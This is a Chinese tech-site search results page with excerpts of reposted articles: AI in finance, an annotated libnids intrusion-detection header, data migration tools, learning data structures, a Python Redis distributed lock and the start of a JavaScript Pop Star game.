前端技术
HTML
CSS
Javascript
前端框架和UI库
VUE
ReactJS
AngularJS
JQuery
NodeJS
JSON
Element-UI
Bootstrap
Material UI
服务端和客户端
Java
Python
PHP
Golang
Scala
Kotlin
Groovy
Ruby
Lua
.net
c#
c++
后端WEB和工程框架
SpringBoot
SpringCloud
Struts2
MyBatis
Hibernate
Tornado
Beego
Go-Spring
Go Gin
Go Iris
Dubbo
HessianRPC
Maven
Gradle
数据库
MySQL
Oracle
Mongo
中间件与web容器
Redis
MemCache
Etcd
Cassandra
Kafka
RabbitMQ
RocketMQ
ActiveMQ
Nacos
Consul
Tomcat
Nginx
Netty
大数据技术
Hive
Impala
ClickHouse
DorisDB
Greenplum
PostgreSQL
HBase
Kylin
Hadoop
Apache Pig
ZooKeeper
SeaTunnel
Sqoop
Datax
Flink
Spark
Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[在线预测服务]的搜索结果
这里是文章列表。热门标签的颜色随机变换,标签颜色没有特殊含义。
点击某个标签可搜索标签相关的文章。
点击某个标签可搜索标签相关的文章。
Mahout
...市场动态的深度理解与预测,比如预测股票价格波动、识别欺诈交易、优化投资组合等。这些应用不仅提高了金融决策的效率和准确性,也促进了金融市场的透明度和公平性。 AI在金融风控中的应用 在金融风控领域,实时光流分析与AI的结合尤为显著。通过对社交媒体情绪分析、网络公开信息挖掘、用户行为轨迹追踪等多维度数据的实时分析,金融机构能够更早地发现潜在的信用风险和欺诈行为。例如,通过分析用户的网络活动模式,AI系统可以识别出异常行为,进而采取预警措施,有效防范金融犯罪。此外,AI还可以通过预测模型帮助银行和信贷机构评估贷款申请人的信用风险,实现自动化审批流程,提高服务效率。 未来趋势与展望 随着5G、物联网、边缘计算等新技术的普及,实时光流分析与AI在金融领域的应用将更加广泛。未来,金融机构将能够实时处理海量的物联网设备产生的数据,实现智能资产管理、个性化金融服务等创新应用。同时,随着法律法规的完善和技术标准的统一,实时光流分析与AI在金融行业的应用将更加规范和成熟,为金融市场的健康发展提供坚实的技术支撑。 实时光流分析与AI在金融领域的深度融合,正引领着金融科技创新的新潮流,不仅推动了金融行业的数字化转型,也为全球经济的可持续发展注入了新的活力。随着技术的不断进步与应用场景的不断拓展,这一领域的发展前景无疑充满了无限可能。
2024-09-06 16:26:39
59
月影清风
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 ifndef _NIDS_NIDS_H define _NIDS_NIDS_H define NIDS_MAJOR 1 / 主版本号 / define NIDS_MINOR 20 / 次版本号 / include <sys/types.h> enum { NIDS_WARN_IP = 1, / 表示 IP 数据包异常 / NIDS_WARN_TCP, / 表示 TCP 数据包异常 / NIDS_WARN_UDP, / 表示 UDP 数据包异常 / NIDS_WARN_SCAN / 表示有扫描攻击发生 / }; enum { NIDS_WARN_UNDEFINED = 0, / 表示未定义 / NIDS_WARN_IP_OVERSIZED, / 表示 IP 数据包超长 / NIDS_WARN_IP_INVLIST, / 表示无效的碎片队列 / NIDS_WARN_IP_OVERLAP, / 表示发生重叠 / NIDS_WARN_IP_HDR, / 表示无效 IP首部 ,IP 数据包发生异常 / NIDS_WARN_IP_SRR, / 表示源路由 IP数据包 / NIDS_WARN_TCP_TOOMUCH, / 表示 TCP 数据个数太多 , 因为在Libnids 中在同一时刻捕获的TCP 个数最大值为 TCP 连接参数的哈西表长度的 3/4/ NIDS_WARN_TCP_HDR, / 表示无效 TCP首部 ,TCP 数据包发生异常 / NIDS_WARN_TCP_BIGQUEUE, / 表示 TCP 接受的队列数据过多 / NIDS_WARN_TCP_BADFLAGS / 表示错误标记 / }; /Libnids 状态描述的是连接的逻辑状态, 真正的 TCP 连接状态有 11种 . TCP_ESTABLISHED TCP 连接建立 , 开始传输数据 TCP_SYN_SEND 主动打开 TCP_SYN_RECV 接受 SYN TCP_FIN_WAIT1 TCP_FIN_WAIT2 TCP_TIME_WAIT TCP_CLOSE TCP_CLOSE_WAIT TCP_LAST_ACK TCP_LISTEN TCP_CLOSING / define NIDS_JUST_EST 1 / 表示 TCP 连接建立 , 在此状态下就可以决定是否对此TCP 连接进行数据分析 , 可以决定是否捕获 TCP客户端接收的数据 ,TCP 服务端接收的数据 ,TCP 客户端接收的紧急数据或者TCP 客户端接收的紧急数据 / define NIDS_DATA 2 / 表示接收数据的状态 ,在这个状态可以判断是否有新的数据到达 ,如果有就可以把数据存储起来 , 可以在这个状态之中来分析 TCP 传输的数据 , 此数据就存储在half_stream 数据接口的缓存之中/ define NIDS_CLOSE 3 / 表示 TCP 连接正常关闭 / define NIDS_RESET 4 / 表是 TCP 连接被重置关闭 / define NIDS_TIMED_OUT 5 / 表示由于超时 TCP连接被关闭 / define NIDS_EXITING 6 / 表示 Libnids正在退出 , 在这个状态下可以最后一次使用存储在 half_stream 数据结构中的缓存数据 / / 校验和 / define NIDS_DO_CHKSUM 0 / 表示告诉 Libnids要计算校验和 / define NIDS_DONT_CHKSUM 1 / 表示告诉 Libnids不要计算校验和 / struct tuple4 / 描述一个地址端口对 , 它表示发送发IP 和端口以及接收方 IP 和端口 , 适用 TCP,UDP/ { u_short source; / 源 IP 地址的端口号/ u_short dest; / 目的 IP 地址的端口号/ u_int saddr; / 源 IP 地址 / u_int daddr; / 目的 IP 地址 / }; struct half_stream / 描述在 TCP 连接中一端的所有信息, 可以是客户端 , 也可以是服务端 / { char state; / 表示套接字的状态 , 也就是TCP 的状态 / char collect; / 可以表示有数据到达 , 此数据存放在data 成员中 , 也可以表示不存储此数据到 data中 , 此数据忽略 . 如果大于0 就存储 , 否则就忽略 / char collect_urg; / 可以表示有紧急数据到达 , 此数据就存放在urgdata 中 , 也可以表示不存储此数据到 urgdata中 , 此速数据忽略 . 如果大于0 就存储 , 否则就忽略 / char data; / 用户存储正常接受到的数据 / int offset; / 表示存储在 data 中数据的第一个字节的偏移量/ int count; / 表示从 TCP 连接开始已经存储到data 中的数据的字节数 / int count_new; / 有多少新的数据存储到 data 中, 如果为 0, 则表示没有新的数据到达 / int bufsize; int rmem_alloc; int urg_count; / 用来存储紧急数据 / u_int acked; u_int seq; u_int ack_seq; u_int first_data_seq; u_char urgdata; //存储紧急数据 u_char count_new_urg; / 表示有新的紧急数据到达 , 如果为0 表示没有新的紧急数据 / u_char urg_seen; //新的urg数据,不是以前重复的数据 u_int urg_ptr;/指向urg在流中的位置/ u_short window; u_char ts_on; u_char wscale_on; u_int curr_ts; u_int wscale; struct skbuff list; struct skbuff listtail; }; struct tcp_stream / 描述一个 TCP 连接的所有信息/ { struct tuple4 addr; char nids_state; struct lurker_node listeners; struct half_stream client; / 表示客户端信息 / struct half_stream server; / 表示服务端信息 / struct tcp_stream next_node; struct tcp_stream prev_node; int hash_index; struct tcp_stream next_time; struct tcp_stream prev_time; int read; struct tcp_stream next_free; }; struct nids_prm / 描述了 Libnids 的一些全局参数信息/ { int n_tcp_streams; / 表示哈西表大小 , 此哈西表用来存放tcp_stream 数据结构 , 默认值 1040.在同一时刻 Libnids 捕获的 TCP 数据包的最大个数必须是此参数值的3/4/ int n_hosts; / 表示哈西表的大小 , 此哈西表用来存储IP 碎片信息的 , 默认值为 256/ char device; / 表示网络接口 ,Libnids 将在此网络接口上捕获数据, 默认值为 NULL. 这样 Libnids将使用 pcap_lookupdev来查找可以用的网络接口 . 如果其值为 all, 表示捕获所有网络接口的数据/ char filename; / 表示用来存储网络数据的捕获文件 , 此文件的类型必须与 Libpcap 类型一致 , 如果设置了文件, 与此同时就应该设置 device 为 NULL,默认值为 NULL/ int sk_buff_size; / 表示的是数据接口 sk_buff 的大小 .sk_buff 是Linux 内核中一个重要的数据结构, 是用来进行数据包排队操作的 , 默认值为 168/ int dev_addon; / 表示在数据结构 sk_buff 中用于网络接口上信息的字节数. 如果是 -1( 默认值 ),那么 Libnids 会根据不同的网络接口进行修正 / void (syslog) (); / 是一个函数指针 , 默认值为nids_syslog() 函数 . 在 syslog函数中可以检测入侵攻击 , 如网络扫描攻击 , 也可以检测一些异常情况, 如无效 TCP 标记 / int syslog_level; / 表示日志等级 , 默认值是LOG_ALERT/ int scan_num_hosts; / 表示一个哈西表的大小 ,( 此哈西表用来存储端口扫描信息) 表示 Libnids 将要检测的同时扫描的端口数据 . 如果其值为 0,Libnids将不提供端口扫描功能 . 默认值 256/ int scan_delay; / 表示在扫描检测中 , 俩端口扫描的间隔时间, 以毫秒来计算 , 缺省值为 3000/ int scan_num_ports; / 表示相同源地址必须扫描的 TCP 端口数目 , 默认值为10/ void (no_mem) (char ); / 是一个函数指针 , 当Libnids 发生内存溢出时被调用/ int (ip_filter) (); / 是一个函数指针 , 此函数可以用来分析IP 数据包 , 当有 IP 数据包到达时 , 此函数就被调用. 如果此函数返回非零值 , 此数据包就被处理 ;如果返回零 , 此 IP 数据包就被丢弃. 默认值为 nids_ip_filter 函数 , 总是返回 1./ char pcap_filter; / 表示过滤规则 , 即Libpcap 的过滤规则 , 默认值为 NULL,表示捕获所有数据包 . 可以在此设置过滤规则 , 只捕获感兴趣的开发包/ int promisc; / 表示网卡模式 , 如果是非零, 就把此网卡设置为混杂模式 ; 否则 , 设为非混杂模式 . 默认值为1/ int one_loop_less; / 初始值为 0/ int pcap_timeout; / 表示捕获数据返回的时间 , 以毫秒计算. 实际上它表示的就是 Libpcap 函数中的 pcap_open_live函数的 timeout 参数 , 默认值 1024/ }; / 返回值 : 调用成功返回 1,失败返回 0 参 数 : 无 功 能 : 对 Libnids 初始化, 这是所有设计基于 Libnids 的程序最开始调用的函数 . 它的主要内容包括打开网络接口 , 打开文件 , 编译过滤规则 , 判断网络链路层类型, 进行必要的初始化工作 / int nids_init (void); / 返回值 : 无 参 数 : 回调函数名字 功 能 : 注册一个能够检测所有 IP 数据包的回调函数, 包括 IP 碎片 .e.g nids_register_ip_frag(ip_frag_function); void ip_frag_function(struct ip a_packet,int len) a_packet 表示接收的IP 数据包 len 表示接收的数据包长度 此回调函数可以检测所有的IP 数据包 , 包括 IP 碎片 / void nids_register_ip_frag (void ()); // / 返回值 : 无 参 数 : 回调函数名字 功 能 : 注册一个回调函数 , 此回调函数可以接收正常的IP 数据包 .e.g nids_register_ip_frag(ip_frag_function); void ip_frag_function(struct ip a_packet) a_packet 表示接收的IP 数据包 此回调函数可以接收正常的IP 数据包 , 并在此函数中对捕获数到的 IP数据包进行分析 . / void nids_register_ip (void ()); // / 返回值 : 无 参 数 : 回调函数 功 能 : 注册一个 TCP 连接的回调函数. 回调函数的类型定义如下 : void tcp_callback(struct tcp_stream ns,void param) ns 表示一个TCP 连接的所有信息 , param 表示要传递的参数信息 , 可以指向一个 TCP连接的私有数据 此回调函数接收的TCP 数据存放在 half_stream 的缓存中 , 应该马上取出来 ,一旦此回调函数返回 , 此数据缓存中存储的数据就不存在 了 .half_stream 成员 offset描述了被丢弃的数据字节数 . 如果不想马上取出来 , 而是等到存储一定数量的数据之后再取出来, 那么可 以使用函数nids_discard(struct tcp_stream ns, int num_bytes)来处理 . 这样回调函数返回时 ,Libnids 将丢弃缓存数据之前 的 num_bytes 字节的数据 .如果不调用 nids_discard()函数 , 那么缓存数据的字节应该为 count_new 字节 . 一般情况下, 缓存中的数据 应该是count-offset 字节 / void nids_register_tcp (void ()); / 返回值 : 无 参 数 : 回调函数 功 能 : 注册一个分析 UDP 协议的回调函数, 回调函数的类型定义如下 : void udp_callback(struct tuple4 addr,char buf,int len,struct ip iph) addr 表示地址端口信息buf 表示 UDP 协议负载的数据内容 len表是 UDP 负载数据的长度 iph 表示一个IP 数据包 , 包括 IP 首部 ,UDP 首部以及UDP 负载内容 / void nids_register_udp (void ()); / 返回值 : 无 参 数 : 表示一个 TCP 连接 功 能 : 终止 TCP 连接 . 它实际上是调用 Libnet的函数进行构造数据包 , 然后发送出去 / void nids_killtcp (struct tcp_stream ); / 返回值 : 无 参 数 : 参数 1 一个 TCP 连接 参数 2 个数 功 能 : 丢弃参数 2 字节 TCP 数据 , 用于存储更多的数据 / void nids_discard (struct tcp_stream , int); / 返回值 : 无 参 数 : 无 功 能 : 运行 Libnids, 进入循环捕获数据包状态. 它实际上是调用 Libpcap 函数 pcap_loop()来循环捕获数据包 / void nids_run (void); / 返回值 : 调用成功返回文件描述符 ,失败返回 -1 参 数 : 无 功 能 : 获得文件描述符号 / int nids_getfd (void); / 返回值 : 调用成功返回个数 ,失败返回负数 参 数 : 表示捕获数据包的个数 功 能 : 调用 Libpcap 中的捕获数据包函数pcap_dispatch() / int nids_dispatch (int); / 返回值 : 调用成功返回 1,失败返回 0 参 数 : 无 功 能 : 调用 Libpcap 中的捕获数据包函数pcap_next() / int nids_next (void); extern struct nids_prm nids_params; /libnids.c定以了一个全部变量 , 其定义和初始值在 nids_params/ extern char nids_warnings[]; extern char nids_errbuf[]; extern struct pcap_pkthdr nids_last_pcap_header; struct nids_chksum_ctl { / 描述的是计算校验和 , 用于决定是否计算校验和/ u_int netaddr; / 表示地址 / u_int mask; / 表示掩码 / u_int action; / 表示动作 , 如果是NIDS_DO_CHKSUM, 表示计算校验和; 如果是 NIDS_DONT_CHKSUM, 表示不计算校验和 / u_int reserved; / 保留未用 / }; / 返回值 : 无 参 数 : 参数 1 表示 nids_chksum_ctl 列表 参数 2 表示列表中的个数 功 能 : 决定是否计算校验和 . 它是根据数据结构nids_chksum_ctl 中的action 进行决定的 , 如果所要计算的对象不在列表中 , 则必须都要计算校验和 / extern void nids_register_chksum_ctl(struct nids_chksum_ctl , int); endif / _NIDS_NIDS_H / 本篇文章为转载内容。原文链接:https://blog.csdn.net/xieqb/article/details/7681968。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-02-08 17:36:31
306
转载
Sqoop
...为全面的企业级支持和服务。这些工具不仅提升了数据迁移的效率,还增强了数据的安全性和可靠性,为企业在数字化转型过程中提供了更多选择。 此外,随着云计算的普及,云原生数据迁移工具也逐渐成为主流趋势。例如,AWS Database Migration Service(DMS)和Google Cloud Data Transfer Service等服务,允许用户在不同的云平台之间无缝迁移数据,同时提供自动化的监控和故障恢复机制。这种云原生解决方案大幅降低了传统本地部署工具的复杂度,使得中小企业也能轻松实现大规模数据迁移。 值得注意的是,数据隐私法规的变化对数据迁移工具提出了更高的合规要求。欧盟的《通用数据保护条例》(GDPR)和美国加州的《消费者隐私法》(CCPA)等法律框架,都对企业如何收集、存储和传输个人数据作出了严格规定。因此,企业在选用数据迁移工具时,不仅要考虑技术层面的兼容性和稳定性,还需要确保工具符合最新的法律法规,以避免潜在的法律风险。 在未来,随着人工智能和机器学习技术的进步,数据迁移工具将进一步智能化。例如,利用AI算法预测数据迁移过程中可能出现的问题,并提前采取措施优化流程,将成为行业发展的新方向。同时,开源社区的持续贡献也将推动工具的创新,为企业提供更多低成本、高效率的解决方案。总之,数据迁移领域的技术创新正在加速演进,为企业的数据管理带来了前所未有的机遇和挑战。
2025-03-22 15:39:31
93
风中飘零
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 原创声明 本文作者:黄小斜 转载请务必在文章开头注明出处和作者。 简介 学习编程,数据结构是你必须要掌握的基础知识,那么数据结构到底是什么呢? 根据百度百科的介绍,数据结构是计算机存储、组织数据的方式。数据结构是指相互之间存在一种或多种特定关系的数据元素的集合。通常情况下,精心选择的数据结构可以带来更高的运行或者存储效率。数据结构往往同高效的检索算法和索引技术有关。 听听这是人话么,我帮你们翻译一下,其实数据结构就是用来描述计算机里存储数据的一种数学模型,因为计算机里要存储很多乱七八糟的数据,所以也需要不同的数据结构来描述。 本文思维导图 为什么要学数据结构 了解了基本概念之后,接下来我们再来看看,为什么我们要学习数据结构呢? 在许多类型的程序的设计中,数据结构的选择是一个基本的设计考虑因素。许多大型系统的构造经验表明,系统实现的困难程度和系统构造的质量都严重的依赖于是否选择了最优的数据结构。 许多时候,确定了数据结构后,算法就容易得到了。有些时候事情也会反过来,我们根据特定算法来选择数据结构与之适应。不论哪种情况,选择合适的数据结构都是非常重要的。 选择了数据结构,算法也随之确定,是数据而不是算法是系统构造的关键因素。这种洞见导致了许多种软件设计方法和程序设计语言的出现,面向对象的程序设计语言就是其中之一。 也就是说,选定数据结构往往是解决问题的核心,比如我们做一道算法题,往往就要先确定数据结构,再根据这个数据结构去思考怎么解题。 如果没有数据结构的基础知识,也就没有谈算法的意义了,很多时候即使你会使用一些封装好的编程api,但你却不知道其背后的实现原理,比如hashmap,linkedlist这些Java里的集合类,实际上都是JDK封装好的基础数据结构。 如何学习数据结构 第一次接触 我第一次接触数据结构这门课还是4年前,那这时候我在准备考研,专业课考的就是数据结构与算法,作为一个非科班的小白,对这个东西可以说是一窍不通。 这个时候的我只有一点点c语言的基础,基本上可以忽略不计,所以小白同学也可以按照这个思路进行学习。 数据结构基本上是考研的必考科目,所以我一开始使用的是考研的复习书籍,《天勤数据结构》和《王道数据结构》这两个家的书都是专门为计算机考研服务的,可以直接百度,这两本书对于我这种小白来说居然都是可以看懂的,所以,用来入门也是ok的。 入门学习阶段 最早的时候我并没有直接看书,而是先打算先看视频,因为视频更好理解呀,找视频的办法就是百度,于是当时找到的最好资源就是《郝斌的数据结构》这个视频应该是很早之前录制的了,但是对于小白来说是够用的,特别基础,讲的很仔细。 从最开始的数组、线性表,再讲到栈和队列,以及后面更复杂的二叉树、图、哈希表,大概有几十个视频,那个时候正值暑假,我按照每天一个视频的进度看完了,看的时候还得时不时地实践一下,更有助于理解。 看完了这个系列的视频之后,我又转战开始啃书了,视频里讲的都是数据结构的基础,而书上除了基础之外,还有一些算法题目,比如你学完了线性表和链表之后,书上就会有相关的算法题,比如数组的元素置换,链表的逆置等等,这些在日后看来很容易的题目,当时把我难哭了。 好在大部分题目是有讲解的,看完讲解之后还能安抚一下我受伤的心灵。 记住这本书,我在考研之前翻了至少有三四遍。 强化学习阶段 完成了第一波视频+书籍的学习之后,我们应该已经对数据结构有了初步的了解了,对一些简单的数据结构算法也应该有所了解了,比如栈的入栈和出栈,队列的进队和出队,二叉树的先序遍历和后续遍历、层次遍历,图的最短路径算法,深度优先遍历等等。 有了一定的基础之后,我们需要对哪方面进行强化学习呢? 那就要看你学习数据结构的目的是什么了,比如你学习数据结构是为了能做算法题,那么接下来你应该重点去学习算法方面的知识,后续我们也将有一篇新的文章来讲怎么学习算法,敬请期待。 当然,我当时主要是复习考研,所以还是针对专业课的历年真题来复习,像我们的卷子中就考察了很多关于哈希表、最短路径算法、KMP算法、赫夫曼算法以及最短路径算法的应用。 对于考卷上的一些知识点,我觉得掌握的并不是很好,于是又买了《王道数据结构》以及一些并没有什么卵用的书回来看,再次强化了基础。 并且,由于我们的复试通常会考察一些比较经典的算法问题,所以我又花了很多时间去学习这些算法题,这些题目并非数据结构的基础算法,所以在之前的书和视频中可能找不到答案。 于是我又在网上搜到了另一个系列视频《小甲鱼的数据结构视频》里面除了讲解数据结构之外,还讲解了更多经典的算法题,比如八皇后问题,汉诺塔问题,马踏棋盘,旅行商问题等,这些问题对于新手来说真的是很头大的,使用视频学习确实效果更佳。 实践阶段 纸上得来终觉浅,绝知此事要躬行。 众所周知,算法题和数学题一样,需要多加练习,而且考研的时候必须要手写算法,于是我就经常在纸上写(抄)算法,你还别说,就算是抄,多抄几次也有助于理解。 很多基础的算法,比如层次遍历,深度优先遍历和广度优先遍历,多写几遍更有助理解,再比如稍微复杂一点的迪杰斯特拉算法,不多写几遍你可真记不住。 除了在纸上写之外,更好的办法自然是在电脑上敲了,写Java的使用Java写,写C++ 的用C++ 写,总之用自己擅长的语言实现就好,尴尬的是我当时只会c,所以就只好老老实实地用devc++写简单的c语言程序了。 至此,我们也算是学会了数据结构的基础知识了,至少知道每个数据结构的特性,会写常见的数据结构算法,甚至偶尔还能掏出一个八皇后出来。 推荐资源 书籍 《天勤数据结构》 《王道数据结构》 如果你要考研的话,这两本书可不要错过 严蔚敏《数据结构C语言版》 这本书是大学本科计算机专业常用的教科书,年代久远,可以看看,官方也有配套的教学视频 《大话数据结构》 官方教材大家都懂的,比较不接地气,这本书对于很多新手来说是更适合入门的书籍。 《数据结构与算法Java版》 如果你是学Java的,想有一本Java语言描述的数据结构书籍,可以试试这本,但是这本书显然比较复杂,不适合入门使用。 视频 《郝斌数据结构》 这个视频上文有提到过,年代比较久远,但是入门足够了。 《小甲鱼数据结构与算法》 这个视频比较新,更加全面,有很多关于经典算法的教程,作者也入驻了B站,有兴趣也可以到B站看他的视频。 总结 关于数据结构的学习,我们就讲到这里了,如果还有什么疑问也可以到我公众号里找我探讨,虽然我们提到了算法,但是这里只关注一些基础的数据结构算法,后续会有关于“怎么学算法“的文章推出,敬请期待。 本篇文章为转载内容。原文链接:https://blog.csdn.net/a724888/article/details/104586757。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-12 23:35:52
134
转载
Redis
...用来协调多个进程或者服务之间共享资源的技术手段。嘿,你有没有想过啊?就相当于你有个超大的储物间(数据库或者其他服务),里面塞满了各种好玩意儿(数据),想拿啥就能拿啥!嘿,想象一下,现在有一群小毛贼(服务实例)都盯上了你的那些值钱的小宝贝,可不能让他们随便进来顺手牵羊啊!所以呢,你就得准备一把“神奇的钥匙”(锁),谁要是想进去拿东西,就必须先拿到这把钥匙才行。没有钥匙?不好意思,请自觉退散吧! 为什么要用分布式锁呢?因为在线上系统里,多台机器可能会同时操作同一个资源,比如抢购商品这种场景。如果没有锁机制的话,就可能出现重复下单、库存超卖等问题。分布式锁嘛,简单说就是抢车位的游戏规则——在同一时间里,只能有一个家伙抢到那个“资源位”,别的家伙就只能乖乖排队等着轮到自己啦! 不过说起来容易做起来难啊,尤其是在分布式环境下,网络延迟、机器宕机等问题会带来各种意想不到的情况。嘿,今天咱们就来唠唠,在Redis这个超级工具箱里,怎么才能整出个靠谱的分布式锁! --- 2. Redis为什么适合用来做分布式锁? 嘿,说到Redis,相信很多小伙伴都对它不陌生吧?Redis是一个基于内存的高性能键值存储系统,速度贼快,而且支持多种数据结构,比如字符串、哈希表、列表等等。最重要的是,它提供了原子性的操作指令,比如SETNX(Set if Not Exists),这让我们能够轻松地实现分布式锁! 让我给你们讲个小故事:有一次我尝试用数据库来做分布式锁,结果发现性能特别差劲,查询锁状态的SQL语句每次都要扫描整个表,效率低得让人抓狂。换了Redis之后,简直像开了挂一样,整个系统都丝滑得不行!Redis这玩意儿不光跑得快,还自带一堆黑科技,像什么过期时间、消息订阅啥的,这些功能简直就是搞分布式锁的神器啊! 所以,如果你也在纠结选什么工具来做分布式锁,强烈推荐试试Redis!接下来我会结合实际案例给你们展示具体的操作步骤。 --- 3. 实现分布式锁的基本思路 首先,我们要明确分布式锁需要满足哪些条件: 1. 互斥性 同一时刻只能有一个客户端持有锁。 2. 可靠性 即使某个客户端崩溃了,锁也必须自动释放,避免死锁。 3. 公平性 排队等待的客户端应该按照请求顺序获取锁。 4. 可重入性(可选) 允许同一个客户端多次获取同一个锁。 现在我们就来一步步实现这些功能。 示例代码 1:最基本的分布式锁实现 python import redis import time def acquire_lock(redis_client, lock_key, timeout=10): 尝试加锁,设置过期时间为timeout秒 result = redis_client.set(lock_key, "locked", nx=True, ex=timeout) return bool(result) def release_lock(redis_client, lock_key): 使用Lua脚本来保证解锁的安全性 script = """ if redis.call("get", KEYS[1]) == ARGV[1] then return redis.call("del", KEYS[1]) else return 0 end """ redis_client.eval(script, keys=[lock_key], args=["locked"]) 这段代码展示了最基础的分布式锁实现方式。我们用set命令设置了两个参数:一个是NX,意思是“只在key不存在的时候才创建”,这样就能避免重复创建;另一个是EX,给这个锁加了个过期时间,相当于设了个倒计时,万一客户端挂了或者出问题了,锁也能自动释放,就不会一直卡在那里变成死锁啦。最后,解锁的时候我们用了Lua脚本,这样可以保证操作的原子性。 --- 4. 如何解决锁的隔离性问题? 诶,说到这里,问题来了——如果两个不同的业务逻辑都需要用到同一个锁怎么办?比如订单系统和积分系统都想操作同一个用户的数据,这时候就需要考虑锁的隔离性了。换句话说,我们需要确保不同业务逻辑之间的锁不会互相干扰。 示例代码 2:基于命名空间的隔离策略 python def acquire_namespace_lock(redis_client, namespace, lock_name, timeout=10): 构造带命名空间的锁名称 lock_key = f"{namespace}:{lock_name}" result = redis_client.set(lock_key, "locked", nx=True, ex=timeout) return bool(result) def release_namespace_lock(redis_client, namespace, lock_name): lock_key = f"{namespace}:{lock_name}" script = """ if redis.call("get", KEYS[1]) == ARGV[1] then return redis.call("del", KEYS[1]) else return 0 end """ redis_client.eval(script, keys=[lock_key], args=["locked"]) 在这个版本中,我们在锁的名字前面加上了命名空间前缀,比如orders:place_order和points:update_score。这样一来,不同业务逻辑就可以使用独立的锁,避免相互影响。 --- 5. 进阶 如何处理锁竞争与性能优化? 当然啦,现实中的分布式锁并不会总是那么顺利,有时候会出现大量请求同时争抢同一个锁的情况。这时我们可能需要引入队列机制或者批量处理的方式来降低系统的压力。 示例代码 3:使用Redis的List模拟队列 python def enqueue_request(redis_client, queue_key, request_data): redis_client.rpush(queue_key, request_data) def dequeue_request(redis_client, queue_key): return redis_client.lpop(queue_key) def process_queue(redis_client, lock_key, queue_key): while True: 先尝试获取锁 if not acquire_lock(redis_client, lock_key): time.sleep(0.1) 等待一段时间再重试 continue 获取队列中的第一个请求并处理 request = dequeue_request(redis_client, queue_key) if request: handle_request(request) 释放锁 release_lock(redis_client, lock_key) 这段代码展示了如何利用Redis的List结构来管理请求队列。想象一下,好多用户一起抢同一个东西,场面肯定乱哄哄的对吧?这时候,咱们就让他们老老实实排成一队,然后派一个专门的小哥挨个儿去处理他们的请求。这样一来,大家就不会互相“打架”了,事情也能更顺利地办妥。 --- 6. 总结与反思 兄弟们,通过今天的讨论,我相信大家都对如何在Redis中实现分布式锁有了更深刻的理解了吧?虽然Redis本身已经足够强大,但我们仍然需要根据实际需求对其进行适当的扩展和优化。比如刚才提到的命名空间隔离、队列机制等,这些都是非常实用的小技巧。 不过呢,我也希望大家能记住一点——技术永远不是一成不变的。业务越做越大,技术也日新月异的,咱们得不停地充电,学点新鲜玩意儿,试试新招数才行啊!就像今天的分布式锁一样,也许明天就会有更高效、更优雅的解决方案出现。所以,保持好奇心,勇于探索未知领域,这才是程序员最大的乐趣所在! 好了,今天就聊到这里啦,祝大家在编程的路上越走越远!如果有任何疑问或者想法,欢迎随时找我交流哦~
2025-04-22 16:00:29
58
寂静森林
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 资料出处 资料来源于博客园一位博主的资料,连接如下: https://www.cnblogs.com/chrischen98/p/10659336.html 第一阶段:静态画面 html <!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>Title</title><link rel="stylesheet" href="index.css"><script src="index.js"></script></head><body><div id="pop_star"><div id="targetScore">Target Score : 2000</div><div id="nowScore">Current Score : 0</div><div id="selectScore">0 blocks 0 scores</div></div></body></html> css / 常用页面初始化 /{margin:0;padding:0;}html,body{height: 100%;width: 100%;}pop_star{height: 100%;width: 500px;margin: 0 auto;background: url("./pic/background.png");position: relative; /父元素,为了使之后的子元素都相对于他进行定位,此处设为relative/color:white;background-size: cover; /使背景图片保持比例覆盖整个背景区域/}/ 以下三个元素为现实面板,其样式相同 /targetScore{width: 100%;height: 50px;position: relative;line-height: 50px;text-align: center;font-size: 20px;background-size: cover;}nowScore{width: 100%;height: 50px;position: relative;line-height: 50px;text-align: center;font-size: 20px;background-size: cover;}selectScore{width: 100%;height: 50px;position: relative;line-height: 50px;text-align: center;font-size: 20px;background-size: cover;opacity:0;/不透明度/} js var table; //游戏桌面var squareWidth = 50; //方块宽高var boardWidth = 10; //行列数var squareSet = []; //方块信息集合(二维数组)每个元素保存该方块的全部信息function createSquare(value,row,col){ //创建小方块,传入参数为颜色、行、列,初始化时使用。var temp = document.createElement('div'); //创建div dom对象temp.style.height = squareWidth + "px";temp.style.width = squareWidth + "px";temp.style.position = "absolute"; //相对于背景绝对定位temp.num = value;temp.col = col;temp.row = row;return temp; //返回这个创建出来的对象}function refresh(){ //重绘画板,每次鼠标点击后刷新for(var i = 0 ; i < squareSet.length ; i ++){for(var j = 0 ; j < squareSet[i].length ; j ++){squareSet[i][j].style.backgroundImage = "url(./pic/" + squareSet[i][j].num + ".png)"squareSet[i][j].style.left = squareSet[i][j].col squareWidth + "px"; // 别忘了加"px"squareSet[i][j].style.bottom = squareSet[i][j].row squareWidth + "px";} }}function init(){ // JS调用入口table = document.getElementById('pop_star'); // 获取到最外层的父元素作为桌面for(var i = 0 ; i < boardWidth; i ++){squareSet[i] = new Array(); //二维数组的创建,对每一个元素new Array()创建新数组for(var j = 0 ; j < boardWidth ; j ++){var square = createSquare(Math.floor(Math.random() 5) , i , j);squareSet[i][j] = square; //必须将新创建的方块放回到数组中table.appendChild(square); //需要将创建的新元素添加到桌面上} }refresh(); 